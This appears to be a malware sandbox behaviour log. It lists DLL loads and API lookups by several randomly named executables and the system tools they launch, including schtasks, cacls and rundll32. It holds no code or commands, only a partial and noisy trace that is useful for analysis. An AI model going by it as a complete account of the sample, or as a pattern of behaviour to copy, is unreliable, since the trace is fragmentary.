%WINDIR%\system32\MSCTF.dll (UID: 00000000-00005452) "3Hf64Pr.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005500) "3Hf64Pr.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005500) "3Hf64Pr.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005500) "3Hf64Pr.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005500) "3Hf64Pr.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00005500) "3Hf64Pr.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00005500) "3Hf64Pr.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00005500) "3Hf64Pr.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00005500) "3Hf64Pr.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005500) "4na449fr.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005428) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter ucrtbase_clr0400.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter dwrite.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\274e43040c8a7a02ef1065db3283005a\System.Runtime.Serialization. (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\dc67dcb4b2fb4a3853d458cab08561f0\SMDiagnostics.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Intern (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Security\93d03eb9812405fa70e89d4efd5f7e14\System.Security.ni.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\VCRUNTIME140_CLR0400.dll (UID: 00000000-00005496) "AppLaunch.exe" called "LoadLibrary" with a parameter VCRUNTIME140_CLR0400.dll (UID: 00000000-00005496) "5Ll6yV5.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005448) "5Ll6yV5.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005448) "5Ll6yV5.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00005448) "5Ll6yV5.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\shdocvw.dll (UID: 00000000-00005448) "5Ll6yV5.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00005448) "5Ll6yV5.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005448) "5Ll6yV5.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00005448) "5Ll6yV5.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00005448) "5Ll6yV5.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00005448) "5Ll6yV5.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005448) "explothe.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00005604) "explothe.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005604) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005548) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005548) "schtasks.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005548) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005548) "schtasks.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\schtasks.exe (UID: 00000000-00005548) "schtasks.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005548) "schtasks.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00005548) "schtasks.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00005548) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005616) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005616) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005616) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005616) "cacls.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00005764) "6XA0cz3.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005668) "6XA0cz3.exe" called "LoadLibrary" with a parameter %TEMP%\IXP000.TMP\6XA0cz3.exe (UID: 00000000-00005668) "6XA0cz3.exe" called "LoadLibrary" with a parameter Kernel32.DLL (UID: 00000000-00005668) "6XA0cz3.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005668) "cacls.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005912) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005912) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005912) "cacls.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005912) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005912) "cacls.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00005912) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\ieproxy.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter iertutil.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005336) "cmd.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00005336) "cacls.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005964) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005964) "cacls.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00005964) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000744) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000744) "rundll32.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000744) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000744) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00000744) "rundll32.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00000744) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003916)38:T18525,"922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00004892) "922d837e2362b26f6f5959eb3dee8ac0.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00004892) "OT6Dd58.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005132) "OT6Dd58.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005132) "OT6Dd58.exe" 